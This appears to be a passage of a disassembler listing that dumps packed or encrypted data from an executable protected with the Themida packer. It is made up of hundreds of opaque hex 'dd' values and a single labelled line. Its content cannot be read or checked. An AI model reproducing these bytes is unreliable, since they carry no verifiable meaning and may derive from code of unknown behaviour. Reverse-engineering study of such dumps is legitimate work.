dd 1442A06Eh, 0B35A83ECh, 795621AAh, 32AF1161h, 1442A04Dh
dd 0B98EA009h, 7D567D4Eh, 0F492165Dh, 25C7FF17h, 0FD1B67D8h
dd 0C8DA33E5h, 0FCC67902h, 0A0661D9Ah, 58F41442h, 922D6579h
dd 0B9522739h, 9221AA12h, 2310EA20h, 0B84484FEh, 0ED88C0DEh
dd 0C8E8C1DBh, 0C67D4E81h, 0A0807705h, 6D581442h, 0F193D35Eh
dd 7D561DAEh, 21AA165Dh, 42A08077h, 5E6D5814h, 56F193D3h
dd 12E9667Dh, 0C01442A0h, 0D2F2CB57h, 5FA6FF9Ah, 0F7D6744Eh
dd 0FE10ABE3h, 5D7D5629h, 9221AA16h, 3E540520h, 0A5F57579h
dd 422C5328h, 8496FF14h, 422CF48Bh, 78566C14h, 825C2A62h
dd 0C84B2C64h, 9B60DD9Ch, 371442A0h, 0F10075CEh, 56F193D3h
dd 4E165D7Dh, 607A567Dh, 0BD648D28h, 7D5621AAh, 0A012E966h
dd 0ACB11442h, 0EA860763h, 0CBA74394h, 85DE79B1h, 21AAE52Ch
dd 0F49212B9h, 0DEBFD19h
dd 42A0E790h, 8E0B6B14h, 1442A0E9h, 5CA3FC65h, 0CCB33092h
dd 8A1442A0h, 9EBA9521h, 97B9CB66h, 15F492C6h, 0FCD5EF01h
dd 7D4E95DCh, 6FA214AEh, 2AE2AC73h, 5653283Ah, 0AA19607Ah
dd 81A17A18h, 0E779A6Fh, 0DE25D7CAh, 19607A56h, 4302744Eh
dd 2CD350ACh, 0AA144286h, 255EE141h, 56390E20h, 0AA19607Ah
dd 82A07A18h, 0E25FAF4Ah, 1442A01Dh, 693E50B9h, 16F492h
dd 16B40AEEh, 4EE92139h, 7D4E673Ch, 19607A56h, 0CCB33092h
dd 8A1442A0h, 9EBA9521h, 0F3B9CB66h, 14B2EF61h, 162C0489h
dd 2C9F2F04h, 0FD19F492h, 7B182AC5h, 0F49299CBh, 28C3FB1Bh
dd 9223F416h, 0C4FC1AF4h, 1EFD1729h, 411CBA0Ah, 4052ED25h
dd 7A18AA6Bh, 0B34E869Ch, 0EF77CCA1h, 0BF624AC5h, 439D2092h
dd 0D48828D6h, 0B5C9A8C2h, 0F1860365h, 5D1442DEh, 4E0DE2F4h
dd 697A567Dh, 42A017ECh, 0E663C314h, 1442A011h, 0A2FB54BDh
dd 5621AA5Bh, 0AA1C6377h, 61795621h, 63815B29h, 6125EC2Bh
dd 0D3353431h, 7A56F193h, 95721060h, 98AA457Dh, 567D4EC3h
dd 4E1C6377h, 607A567Dh, 8C21AA19h, 0F572D436h, 1442A00Eh
dd 3F863CCh, 0CF1442A0h, 4E7F5466h, 0E3F7D674h, 29FE10ABh
dd 19607A56h, 34521AAh, 0F006E482h, 360B1DB8h, 30920DBEh
dd 42A0CCB3h, 8D1A8A14h, 0AF40BAEEh, 8E0B5BB4h, 14425DE9h
dd 4DEAFC65h, 0F4926B19h, 9572FE18h, 75516B7Dh, 946D0B5Bh
dd 4E8D6274h, 697A567Dh, 69D4F0CBh, 1442A092h, 377ED740h
dd 9D7A18AAh, 779E7385h, 66476994h, 0D30BC064h, 2092F193h
dd 4FE60FADh, 0F10DE8FAh, 906C8698h, 7D4E2F76h, 11617956h
dd 2B7B9973h, 42A0C9AEh, 0A1C8514h, 5621AA35h, 0AA19607Ah
dd 920BC021h, 1DC2E420h, 132552EBh, 9294CE76h, 0AA107120h
dd 0B0C26D6Eh, 8F6EB996h, 34D2227Bh, 68033B5Bh, 7D4E8156h
dd 0EC697A56h, 1442A017h, 0BA015AC3h, 0F9D6744Eh, 7125C4DAh
dd 338CE2AAh, 3A4E2DFBh, 0FC0E6702h, 5E7C5627h, 92209217h
dd 6FDCB55h, 32BB8193h, 91862092h, 2510A7BFh, 41CF913h
dd 15F492BDh, 7CD5F5CEh, 0D197A944h, 0B2E37748h, 56BB3D50h
dd 35552E79h, 0C20962FDh, 0FE18F492h, 52F0CAECh, 73485A78h
dd 1A617956h, 619F492h, 42A0F289h, 9EF76014h, 0A1BD9866h
dd 6375CE69h, 2092149Dh, 217DCDEh, 622FD98h, 0C8DA33CEh
dd 0B4DFA79Dh, 0E893D317h, 1A52704Ah, 0CDB22F7Fh, 891442A0h
dd 56390E20h, 4E1A6179h, 6179567Dh, 7721AA1Ah, 5977842Ch
dd 0D30BC0FCh, 7956F193h, 0E13A502Eh, 567D4E9Ah, 0AA1A6179h
dd 2B7C5621h, 96DD364Eh, 9512744Eh, 1442A0EEh, 7D9EFC6Ch
dd 0DA0DBC8Fh, 929A6F81h, 0C90115F4h, 0AFC3A22Eh, 8EA6839Dh
dd 0B3309247h, 1442A0CCh, 0ED0F218Ah, 5F7B561Ch, 0C621AA18h
dd 0A0807705h, 0E5581442h, 0E893D3E6h, 44566C4Ah, 561DAE6Fh
dd 36EB597Ah, 0F390C796h, 0D0AC4A9Ah, 0CE7477AFh, 389122F5h
dd 7E536500h, 12B921AAh, 0A06E1592h, 8BED1442h, 42A0690Eh
dd 6A7CE514h, 34D2228Bh, 6D084056h, 0F492865Bh, 0CAECFE18h
dd 617956F9h, 5621AA1Ah, 700E5E7Ch, 0A43F7797h, 21AABD92h
dd 552E7956h, 0EE8CDC35h, 10E5F713h, 79567D4Eh, 21AA1A61h
dd 522D7A56h, 0A63FE36h, 567D4EC3h, 4E1A6179h, 607A567Dh
dd 5621AA19h, 4E185F7Bh, 607A567Dh, 927D4E19h, 0A0CCB330h
dd 218A1442h, 0FE1AF50Fh, 7A18AAB7h, 9C71839Fh, 18AA12B9h
dd 8F424AA6h, 6CF86EDAh, 9267798Dh, 6A8A6B77h, 7C56437Ch
dd 7C58265Eh, 0C6492A62h, 0A9C39F9Eh, 807DD671h, 0E893D381h
dd 0B2E1CD76h, 0BCCE566Ah, 0A709B9E7h, 42A0552Ah, 86980114h
dd 923092B1h, 0C8639BB7h, 3244623Ch, 42A04239h, 60A71014h
dd 0FD19F492h, 0F6182AC5h, 401CBA1Ch, 0A0C4BB26h, 29921442h
dd 78564217h, 744E1B62h, 67D7FCD6h, 75460E35h, 9E7D0962h
dd 0A5B7528Ah, 627856D0h, 9230921Bh, 0C66199B9h, 42A0A45Bh
dd 69C93214h, 52B4F8E9h, 0E2A8BAE4h, 19F49259h, 7E9271FDh
dd 8A67736Ch, 6D3F7C6Ah, 0E893D35Eh, 0A0720986h, 64E11442h
dd 1442A09Fh, 1881D23Bh, 0F4923106h, 0D4F2CC17h, 1CA8437Bh
dd 0F9132541h, 4EBE051Bh, 5F7B567Dh, 567D4E18h, 4E175E7Ch
dd 6A444D7Dh, 5621AA23h, 0AA1B6278h, 92418A21h, 0EECC17F4h
dd 0AC05A0D8h, 1B49FD9Ah, 57642092h, 0CCD6929Dh, 1B20DFBAh
dd 1AB5E05Bh, 0DE00000Ah, 165D7D56h, 9D7A18AAh, 0A0B24D85h
dd 8AFCC6CBh, 400EEA01h, 754A5CDAh, 0D5D7D56h, 4078946Fh
dd 4EBE93A5h, 0DFFBD674h, 0E3FDD9A7h, 0A5B710ABh, 307756D0h
dd 9AE13A54h, 807721AAh, 581442A0h, 1C637756h, 7D567D4Eh
dd 23014E2Ah, 4C28B40Dh, 65FFA32h, 9221AABFh, 0C90115F4h
dd 92231C2Eh, 0CA23A8E4h, 93D3E6E5h, 720986E8h, 0E01442A0h
dd 0D5AA2777h, 811442A0h, 56310618h, 32502A7Dh, 14EB68FAh
dd 0C21442A0h, 60A70059h, 619F492h, 42A0F289h, 9EF76014h
dd 56996A8Ch, 0AA165D7Dh, 5C775621h, 0BF911AE0h, 4188E108h
dd 16F492h, 220FAC8h, 76D62FCAh, 69CC27E7h, 29EF0172h
dd 0F3556DA0h, 42A08176h, 0D2E44D14h, 0F193D3FDh, 165D7D56h
dd 7D567D4Eh, 21AA165Dh, 0F0BE3092h, 0AF8565A4h, 0CA1FE44Fh
dd 52BB1442h, 8E7E4740h, 6DEE23A8h, 0DD20925Eh, 0B61616DFh
dd 0BDDDB642h, 3BD8EA85h, 61DE500Bh, 0F40EEA3Ah, 97C121BCh
dd 320719A2h, 0D5D7D56h, 6A7C906Fh, 2744E95h, 45F73EFAh
dd 4C2133A0h, 54307756h, 966DEA3Ah, 441442A0h, 4E3B82DBh
dd 5D7D567Dh, 92309216h, 0CC679FB3h, 42A09A61h, 721FD14h
dd 753B4DB6h, 18F492ECh, 0AA24C6FEh, 0EECEEBA4h, 40394BA4h
dd 144207BBh, 0D3E6E521h, 3092F193h, 42A0CCB3h, 15EE8A14h
dd 708A9CF5h, 0C5277797h, 0C42F4D27h, 1442A03Fh, 0CAA6329Bh
dd 0CBDD78B0h, 0BE3092F6h, 1FFB0286h, 0D5AA15FBh, 721442D1h
dd 33B97FDCh, 0E454A5E1h, 66020941h, 0FF116A50h, 7D560CDDh
dd 21AA165Dh, 0F49212B9h, 0EECFE18h, 42A0EA91h, 0F1F76914h
dd 9A74D866h, 0A057D424h, 2E144276h, 6BD4B3C5h, 0C021AA24h
dd 0F193D30Bh, 4E2A7D56h, 861FC34h, 2744EC1h, 0CDBF6AC2h
dd 7EFB4B40h, 144226F9h, 5DAEC55h, 0D7637756h, 7B7E0FCh
dd 3F0C1C95h, 0E4F6D978h, 18F4920Fh, 7AD3F1CBh, 0E8FA10EEh
dd 7D569922h, 0A012E966h, 24C01442h, 7BD42D49h, 0C021AA34h
dd 0F193D30Bh, 159212B9h, 1442A06Eh, 0C13383ECh, 0D3EA6E6Fh
dd 795AA090h, 13EFED93h, 92D3A8BAh, 0C51D320h, 0B4311910h
dd 14428BCFh, 0B7C9228Bh, 7D56C495h, 21AA165Dh, 159212B9h
dd 1442A06Eh, 5B7350ECh, 21FC8823h, 0AA65AC05h, 0D30BC021h
dd 714AE893h, 4F06C24Ah, 0FB546DB6h, 7D5614E9h, 0A012E966h
dd 57C01442h, 0A0F58A07h, 0F8611442h, 7D4E589Fh, 21AA12B9h
dd 997614AEh, 9CAE4981h, 617956C7h, 0B618AA1Ah, 42A04239h
dd 0E2F6D514h, 41162891h, 0A06E1592h, 0D9DD1442h, 781B8C14h
dd 5079E233h, 0A2802A0h, 502537D2h, 0FF17F492h, 0ED920FEDh
dd 6A1442A0h, 9FD7EFCCh, 0AA13F204h, 0B97D4E63h, 7A18AA12h
dd 1FF8849Eh, 0B918EDFFh, 73916B09h, 21AA8C61h, 0CCB33092h
dd 8A1442A0h, 19F50F21h, 7D4EB8FFh, 845EFCC6h, 23A5A33h
dd 27FC0E67h, 42A08077h, 5E6D5814h, 0AEF193D3h, 4E35B214h
dd 0C1442A0h, 56BC91A3h
dd 0F2CD6B78h, 98039ED6h, 1442A0E3h, 33B5B34h, 4EAE1768h
dd 90D0EC3Bh, 90D730EAh, 0FCC621AAh, 6E95618Ah, 0D5611E85h
dd 0F7CCDEFAh, 1B627856h, 0C81BF492h, 3E76CFEFh, 9E6F91A3h
dd 1B627856h, 807721AAh, 581442A0h, 255D7D56h, 28607C57h
dd 531F47C4h, 0F492CFDEh, 2EC90115h, 94C77F1Ch, 0E823AB22h
dd 0AFC17AF1h, 6B7856DAh, 42A009EEh, 35CC514h, 567D4EBCh
dd 74126278h, 94697B9Bh, 807721AAh, 581442A0h, 2A627856h
dd 31697D5Ch, 0D299CD50h, 2ED69939h, 0C81DA6Bh, 0F193D3FDh
dd 1B627856h, 5C67D4Eh, 42A08077h, 0E6E55814h, 0AEF193D3h
dd 16F4921Dh, 0D636EBF9h, 0E23BC68Fh, 0E3FD0FAAh, 19FEF05h
dd 23F80A26h, 9C7A18AAh, 0C2B93686h, 901442A0h, 56401527h
dd 0FDD66278h, 0E10AA5DDh, 6E15923Ah, 0EC1442A0h, 7D4E3C83h
dd 0E69709B9h, 851C0D8Fh, 924F2436h, 0A0CCB330h, 218A1442h
dd 0CFB4310Fh, 8C1442A0h, 0A9F211EEh, 5D7A86D2h, 3C1B2D86h
dd 0BE512DCCh, 1F6FEDF3h, 426BDDA2h, 0B7107914h, 47930567h
dd 22E766F9h, 12B348B3h, 0AF1F1442h, 44477FF0h, 6779D275h
dd 0B921AA92h, 7A18AA12h, 5A76519Eh, 1C2EC901h, 62785647h
dd 0D6744E1Bh, 0F9CEE0FAh, 807705C6h, 581442A0h, 20925E6Dh
dd 343CF603h, 0FD9AACF3h, 14AE1B49h, 87B24AA2h, 4658524Ah
dd 9212B971h, 42A06E15h, 3383EC14h, 0FABE7FC1h, 0D4E644F2h
dd 927D4EFFh, 0EAFC1AF4h, 0AF2C8E28h, 1442A0C8h, 360B1D86h
dd 0F49205C6h, 0D0F0C91Ah, 6CA4FD98h, 0A0A65DDAh, 0CB341442h
dd 90676072h, 481442A0h, 4E2C7B56h, 0C650038h, 7A3132D4h
dd 6C86508Eh, 0B5ED01E0h, 0BAF20AE7h, 0C480FD1Fh, 0D3908F8Ch
dd 6F4AE893h, 0E4791B53h, 0BE2BCFC7h, 895E70C9h, 78561DAEh
dd 30921B62h, 42A0CCB3h, 0F218A14h, 12B9C049h, 0A06E1592h
dd 83EC1442h, 5220923Ch, 82298B19h, 3A0B2D3Fh, 14AEA977h
dd 7856810Bh, 7D4E1B62h, 19607A56h, 9E7A18AAh, 9FB14C84h
dd 1AF492CAh, 1729C4FCh, 0B9091FFDh, 0F0283C1Bh, 32599D4Eh
dd 0EF4860E4h, 18AA08DDh, 704FA07Ah, 3089245Ch, 0F5D15DF8h
dd 0F608A3DBh, 61795621h, 657F5B29h, 9DC94C2Dh, 0D3D9D8D5h
dd 7A56F193h, 7D4E1960h, 115F492h, 0C5BA37C9h, 911442A0h
dd 0A3BDCF28h, 4E68AFC5h, 0DFFBD674h, 25FA0CA7h, 19607A56h
dd 707721AAh, 48533FCAh, 633FDDE5h, 0E61E3C16h, 0BE0F24Bh
dd 0CCB33092h, 8A1442A0h, 32720F21h, 607A5690h, 0D6744E19h
dd 0B6CCAAFDh, 528AE37Eh, 56D0A5B7h, 0AE10607Ah, 0A028CF4Ch
dd 3DA61442h, 42A02DD2h, 0DD39A914h, 0A3748ACh, 875C6EC7h
dd 39B618AAh, 1442A042h, 0A9E1F7D5h, 4254BD0Eh, 6179566Dh
dd 5621AA1Ah, 5A28607Ah, 0C72B637Fh, 0E1561A4Ah, 271957C9h
dd 0F26CA5C0h, 92A4FD15h, 0E893D3BDh, 931AAE76h, 7D8FF569h
dd 1AF492A8h, 7A9470FCh, 51724E68h, 1CB61F1Bh, 0E82F881Fh
dd 51CE3092h, 1442A0AAh, 0AF54BF28h, 2B1442A0h, 0BD8EB0C2h
dd 19607A56h, 93A618AAh, 90BAD82Bh, 0E8415B37h, 707701D6h
dd 48533FCAh, 93D35E6Dh, 2D7A56F1h, 98DF3850h, 0CCB33092h
dd 8A1442A0h, 0A2FB0FEEh, 22946E90h, 4E1372D6h, 8D6274BDh
dd 165D7D56h, 0D87721AAh, 0B02547B1h, 165D7D56h, 0F9D6744Eh
dd 92FACFE1h, 0E642BE30h, 6F9001B7h, 426F7F04h, 0A8C6A014h
dd 1B84D570h, 0F616EF09h, 7721AAAFh, 1094A2D1h, 92E6E5A9h
dd 0A0CCB330h, 218A1442h, 9032720Fh, 165D7D56h, 7D567D4Eh
dd 0BE9B0D5Dh, 0A653EDDBh, 0AA461B2Dh, 0A05E7721h, 0E52E189Bh
dd 0F193D3E6h, 165D7D56h, 7A567D4Eh, 30921960h, 638BBEh
dd 7EE982E9h, 14421BF9h, 14DAEC55h, 5D7D568Bh, 6D21AA16h
dd 0F193D35Eh, 10607A56h, 724C9372h, 28811C54h, 2C4622F0h
dd 0EE0059F4h, 1AF49219h, 1729C4FCh, 7D5624F5h, 2092165Dh
dd 0DE71CAEh, 0A7C9DBB6h, 607A56D6h, 9221AA19h, 0C4FC1AF4h
dd 1FFD1729h, 21AAC209h, 93D30BC0h, 19F492F1h, 9B924F6h
dd 69C26BB0h, 47613D57h, 0C67D4E00h, 17F49205h, 1A2CC7FFh
dd 42A05A21h, 0E6E50214h, 4AE893D3h, 8A07576Bh, 1442A0F5h
dd 11E6F861h, 79561DAEh, 0A7CEFA5Ah, 5DB63368h, 9221AA16h
dd 42A06E15h, 5A83EC14h, 18F492B3h, 910EECFEh, 1442A0EAh
dd 4EB8FF68h, 0B330927Dh, 1442A0CCh, 160F218Ah, 1442A06Dh
dd 6A7956FBh, 42A016EDh, 25BC414h, 0B97D4EBBh, 0BE309212h
dd 4BA7F632h, 8E879939h, 144239E9h, 21A2F565h, 0AA0CA085h
dd 21AA0A51h, 46CEE177h, 0E6E5B92Bh, 51CE3092h, 1442A0AAh
dd 0AF54BF28h, 2B1442A0h, 429BB18Fh, 87BFDBB6h, 93DDAECh
dd 9212B95Bh, 8B73BE30h, 3D57A0E8h, 75104860h, 6A110A1Ch
dd 0E814427Fh, 0B8912F7Fh, 0B3C56098h, 6E1592DEh, 0EC1442A0h
dd 744E3C83h, 7D997412h, 42A06D12h, 6E80E914h, 9212B999h
dd 42A06E15h, 3C83EC14h, 795621AAh, 21AA1A61h, 93D35E6Dh
dd 9212B9F1h, 42A06E15h, 3383EC14h, 46F6CBC1h, 8A9CDB10h
dd 6E1592B5h, 0EC1442A0h, 7D4E3C83h, 209205C6h, 38620429h
dd 9570FCB8h, 896E6779h, 4614428Fh, 0A2B4CAA8h, 0D3E6E5CDh
dd 1DAEF193h, 0C7597A56h, 0BF0E72FAh, 925299F2h, 0BAC08120h
dd 1123D4AFh, 9B9C24Bh, 6173916Bh, 18F4928Ch, 910EECFEh
dd 1442A0EAh, 0F58A0769h, 611442A0h, 9E07E6F8h, 0B9D5B04Eh
dd 0FFD4E681h, 0E1777D4Eh, 0B92B46CEh, 0FB1BF492h, 0FE1AF5C3h
dd 0C0D22BC6h, 60B0CAA6h, 93CBE7C2h, 0A0FF8401h, 0F25B1442h
dd 4EB28799h, 6E15927Dh, 0EC1442A0h, 92B35A83h, 42A06215h
dd 3787F014h, 90A2BE99h, 5621AABBh, 9219607Ah, 0C7258E20h
dd 0A6857D2Ah, 66BF5A92h, 8AFC8E54h, 6958F88h, 491E3011h
dd 0F4925E6Dh, 0F79CFC1Ah, 83F4289Dh, 0D1953244h, 0A18B38AAh
dd 102928F4h, 795629FEh, 1A972961h, 1442A065h, 0A32F88F1h
dd 0DD84ADC7h, 89F32092h, 1BC4CA2Ch, 262512Ch, 43CF38CBh
dd 7B164E66h, 650E8B69h, 0E91442C5h, 15923980h, 1442A06Eh
dd 1E07BEDh, 6170C3CFh, 0AE00704Fh, 41EEA7C7h, 0F593E33Ch
dd 2EC90117h, 799A61DEh, 0CF381442h, 7D4EE8BDh, 19607A56h
dd 9B97D4Eh, 0C60C9F97h, 0F608627Ch, 5621AA21h, 9F116179h
dd 0E903C5CCh, 8DDEFFFh, 5C67D4Eh, 42A08077h, 5E6D5814h
dd 0AEF193D3h, 0AA12B91Dh, 6B09B921h, 0D1EF708Dh, 0F7EA67C8h
dd 0B9CB669Eh, 7A18AAE4h, 5B77529Dh, 0B91BF002h, 7A18AA12h
dd 7C4A82A0h, 1D2F889Eh, 63775648h, 0C67D4E1Ch, 0A0807705h
dd 0DD4F1442h, 2C0A1383h, 9770B616h, 56F5CADCh, 58265E7Ch
dd 0BC945A7Dh, 0FA9F7841h, 0BD9B69A1h, 0D8D46FA7h, 0A61B570Fh
dd 0E893D397h, 0C48BDF76h, 53D0753Fh, 14425FACh, 5668C12Ah
dd 0B214AE81h, 42A04E35h, 0D9F7D114h, 4CB506A1h, 7A56653Ah
dd 21AA1960h, 7A5605C6h, 7D4E1960h, 6FBE3092h, 94EDE447h
dd 35B54AB5h, 0B8211442h, 96B08CA6h, 7721AA4Fh, 1442A080h
dd 0BDD3B14Fh, 556DD6ABh, 86BEDEB7h, 0D304D9EBh, 0F492F193h
dd 0D3EDFF17h, 0EF8DDDF7h, 13E8FA12h, 7302744Eh, 3CDB7054h
dd 92D4A9BBh, 0C4FC1AF4h, 54841722h, 68C12919h, 46603C56h
dd 7721AAFFh, 1442A080h, 0E3556D58h, 53DA3D1Bh, 20F5079Bh
dd 56F193D3h, 7210607Ah, 956A7C96h, 12B97D4Eh, 7A5621AAh
dd 0A017EC69h, 7FB41442h
dd 0E00DE0E1h, 0BA137CCDh, 0D4F2CC6Ah, 18AAEDC2h, 0A04239B6h
dd 0A7101442h, 12B9C095h, 0B9923092h, 0B4C66199h, 42A0C8BBh
dd 0B8359714h, 1442A1C3h, 0ADDDB480h, 0FC4DC7F3h, 336B8360h
dd 4E2D3F98h, 18F795E5h, 1F31CC04h, 2744E4Ah, 0DBB9C8E8h
dd 92F28DC5h, 9F792188h, 8AC82881h, 0A8321395h, 56714658h
dd 4E19607Ah, 0A214AE7Dh, 7AD17494h, 0F010E9B5h, 0C6B08597h
dd 0A0807705h, 6D581442h, 0F193D35Eh, 12B91DAEh, 0F49221AAh
dd 0D2ECFE18h, 4E96DDF5h, 5F7B567Dh, 17F49218h, 1BF9C7FFh
dd 0D49AAC05h, 5605C64Bh, 710F5F7Bh, 0A5407898h, 744EBE93h
dd 0A0EE9512h, 36C1442h, 7D561CF1h, 21AA165Dh, 1A971D77h
dd 6D46E435h, 5787ED4Dh, 7533C15Ah, 7D568E63h, 744E165Dh
dd 0D1E3F7D6h, 2A7D56FCh, 93DA334Fh, 117721AAh, 0E9351A97h
dd 93D3E6E5h, 536F4AE8h, 7D566C41h, 956F0D5Dh, 18A43F77h
dd 3A0F213Dh, 7B567D4Eh, 18AA185Fh, 0A04239B6h, 74101442h
dd 13257E98h, 5D7D563Eh, 6D21AA16h, 0E893D35Eh, 0EB501486h
dd 0B913D771h, 42F9A94Eh, 0D7631614h, 0D192C188h, 30051780h
dd 512C7B56h, 4E95DC35h, 9212B97Dh, 1BFCE220h, 13860257h
dd 0C7BF1F10h, 6D334534h, 2A7D56E4h, 60FB334Fh, 87E0F6D4h
dd 927D4E40h, 0BB958220h, 9521B9ABh, 0CE69A1B7h, 775112BCh
dd 1442A080h, 0D35E6D58h, 2092F193h, 0FDAC8E73h, 81435563h
dd 5F7B56F0h, 7721AA18h, 1442A080h, 0D35E6D58h, 0F492F193h
dd 0D0EAFC1Ah, 9292D9F5h, 0A0CCB330h, 337B1442h, 7173222Dh
dd 0EBCA66B7h, 4A6C7ED7h, 5F7B5679h, 0B921AA18h, 6E159212h
dd 0EC1442A0h, 21AA3C83h, 93D30BC0h, 5F7B56F1h, 0D6744E18h
dd 976CE9FAh, 431442A0h, 9A6F81DAh, 365F7B56h, 5621AA8Fh
dd 0AA185F7Bh, 0D30BC021h, 12B9F193h, 0A06E1592h, 83EC1442h
dd 927D4E3Ch, 0C3FB1BF4h, 0C7FF19F5h, 0A7C1D32Ch, 9269B0CCh
dd 0EBFD19F4h, 12B99C25h, 0A06E1592h, 8CEC1442h, 0A0D6AD2Ah
dd 1B841442h, 42A0CBB0h, 0C51E8714h, 0E0FCD775h, 26FB0DA8h
dd 795621AAh, 825B2961h, 24EB2A62h, 500E3060h, 0A712F2DEh
dd 3EBB4B64h, 144241B9h, 4153AC15h, 0F193D36Ch, 185F7B56h
dd 12B97D4Eh, 1DAE21AAh, 309212B9h, 42A0CCB3h, 11EE8A14h
dd 0CD26C1F9h, 566CF5BBh, 4E1B6278h, 5E7C567Dh, 5621AA17h
dd 0AA175E7Ch, 5605C621h, 0AC0E5E7Ch, 42A0482Fh, 8B9D0614h
dd 567D4EB6h, 15EA677Ch, 0C11442A0h, 4E62B351h, 6DC6682Ah
dd 21AACD14h, 817F492h, 42A0F48Bh, 0A0F96214h, 0A0EE958Eh
dd 0B6D1442h, 42A0E98Eh, 70FC6514h, 0A7427A94h, 5E6DC095h
dd 56F193D3h, 9C0E5E7Ch, 0F3770846h, 0FACFE1A7h, 9512744Eh
dd 1442A0EEh, 1CF1036Ch, 175E7C56h, 0FAA618AAh, 0FA973FAAh
dd 772E0315h, 1442A080h, 0DB9FDD4Fh, 0F9314926h, 3FFEFE5Eh
dd 0E513E8FAh, 15643FDDh, 4DE82038h, 0F21BCF4h, 0F193D33Ah
dd 175E7C56h, 12B97D4Eh, 0F49221AAh, 0D3EDFF17h, 0AA94DBF9h
dd 839F7A18h, 12B99C71h, 0A0621592h, 87F01442h, 567D4E40h
dd 92175E7Ch, 890619F4h, 1442A0F2h, 669EF760h, 0F4BF6BCBh
dd 0CAD7AE8Eh, 0AEC596B8h, 879C7614h, 42A0750Ah, 1F78E114h
dd 653A4CE7h, 598205C6h, 697B561Dh, 9257FE27h, 42A06E15h
dd 3C83EC14h, 0F9D6744Eh, 0FC0EA9E1h, 0AA12B927h, 0A0807721h
dd 6D581442h, 0F193D35Eh, 159212B9h, 1442A06Eh, 4E3C83ECh
dd 2B7C567Dh, 0CFAC384Ch, 4E175EB7h, 0DAF9D674h, 44E8283Bh
dd 0A9BB14AAh, 5E7C56D4h, 7721AA17h, 1442A080h, 0B7556D58h
dd 0F18CC4D8h, 5F718765h, 0E893D38Ah, 0DF5C6F4Ah, 1442A018h
dd 0E2F44DB6h, 5E7C560Dh, 0B3309217h, 1442A0CCh, 0ED0F218Ah
dd 0CE30921Ch, 42A0AA51h, 54BF2814h, 1442A0AFh, 5836C22Bh
dd 5D6F0A42h, 44B6943h, 807721AAh, 581442A0h, 76F3556Dh
dd 1442A081h, 0FDD2E44Dh, 92F193D3h, 0A0CCB330h, 1A8A1442h
dd 0ECE6C1B9h, 4D5FB84Bh, 33345933h, 0F64794A0h, 4ECF166Fh
dd 2B7C567Dh, 60FB3351h, 21AAC007h, 159212B9h, 1442A06Eh
dd 923C83ECh, 0A0CCB330h, 218A1442h, 0B9C0490Fh, 15F49212h
dd 1C2EC901h, 4C26C456h, 0A0C5BA37h, 28911442h, 56E8BDCFh
dd 15EA677Ch, 0C11442A0h, 92B8FF58h, 0EE0016F4h, 0FCC6FBCCh
dd 19647F5Eh, 8357DA70h, 0DF7AB20Bh, 8077F8CDh, 581442A0h
dd 20925E6Dh, 96A8EE6Fh, 37D4E6D1h, 6DEA4C0Fh, 1442BF96h
dd 744FDB44h, 0AE714658h, 6179561Dh, 0E9168838h, 0EB120EF9h
dd 92471C2Eh, 6256BE30h, 0D8E642CBh, 0BE36CDC6h, 34A41442h
dd 0ACF9B6Eh, 0FF4FA865h, 255B209Dh, 8EF71442h, 7D4EA77Ch
dd 20921DAEh, 71A4766Bh, 8BA7B959h, 637756AEh, 6503CD2Bh
dd 46607286h, 0CABF5367h, 0EBBD5FCEh, 1512182h, 2D661314h
dd 21DA1442h, 0A514C5D1h, 0C1DBB755h, 0C5DFBB89h, 8799F28Dh
dd 1D3512A2h, 7E967389h, 7803E846h, 9B14C5D1h, 4C33B0BDh
dd 0A14C5D1h, 0D6EF48A1h, 0D1C2553Ah, 0DCE414C5h, 246E576Ah
dd 0C8DA0892h, 0A75C7B2Bh, 1486C4AAh, 1705h, 20929400h
dd 0F875D72Ch, 1442F103h, 990666CFh, 4019A5B1h, 0DC2B0E20h
dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 6E1C68EEh
dd 0BCE907EBh, 0E9FFF8D6h, 0E00EAD2Bh, 3BE9h, 0BD8B6000h
dd 7E40E39h, 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h
dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h
dd 100h, 0FFD3820Fh, 0C361FFFFh, 7E8C88Bh, 0FE000000h
dd 0B65D50FAh, 0BF669B27h, 8159486Ah, 631FC1h, 0CF816600h
dd 0DB33B5E8h, 10E950h, 15A00000h, 28B3EB1Ah, 53CEF88Ch
dd 96C8FFF8h, 8B5F23E8h, 0BD8B1904h, 7E41429h, 94CEE881h
dd 958B625Bh, 7E40D31h, 7F9CF081h, 958B5615h, 7E4241Dh
dd 119CC081h, 958B25DAh, 7E426C5h, 0FE96050h, 29000000h
dd 44755BCh, 44DDE7E2h, 83AF72DBh, 958BC2B9h, 7E424BDh
dd 19048F61h, 0BE8h, 54A05400h, 1D6F941Ah, 5F24E592h, 14E8h
dd 8BE8CE00h, 0BF12FC17h, 4FBCBB4Ah, 207635C0h, 4650FD94h
dd 8F0FC7h, 5F000000h, 759D895Ah, 8307E416h, 8B5202EBh
dd 0E424F9BDh, 4B4B5F07h, 0FB815FB2h, 0FFFF9DB0h, 0FF61850Fh
dd 0BA66FFFFh, 8D8D7624h, 7EBA980h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0FCC35545h, 0DC5D8691h, 8D014A9Ch
dd 7E42039h, 909B529h, 8D8907E4h, 7E41B71h, 0A185C7FCh
dd 0F407E42Dh, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0DA9FC355h, 0BF0F9B33h
dd 7E8C3h, 25D10000h, 70779CD7h, 59958B2Ch, 5F07E42Dh
dd 22B985C7h, 7E4h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 35CAE3C3h, 8EEFD8E8h
dd 165DBD8Bh, 0BE6607E4h, 0B5FF4A09h, 7E422FDh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B3C35242h, 0C94AE5E0h
dd 0E81C27A1h, 10h, 8831CDE0h, 0AA2F1A91h, 3EB682D6h, 16BEEFC8h
dd 1F9D8589h, 0E95A07E4h, 14h, 0C83F7E6Fh, 0AF300156h
dd 8B6B78D1h, 28BB66A8h, 0AE7B23A4h, 306195FFh
dd 0BD0107E4h, 7E43001h, 95FF006Ah
db 41h, 0Eh, 0E4h
; ---------------------------------------------------------------------------
loc_5FCE0B: ; DATA XREF: Themida_:005844C4o
pop es
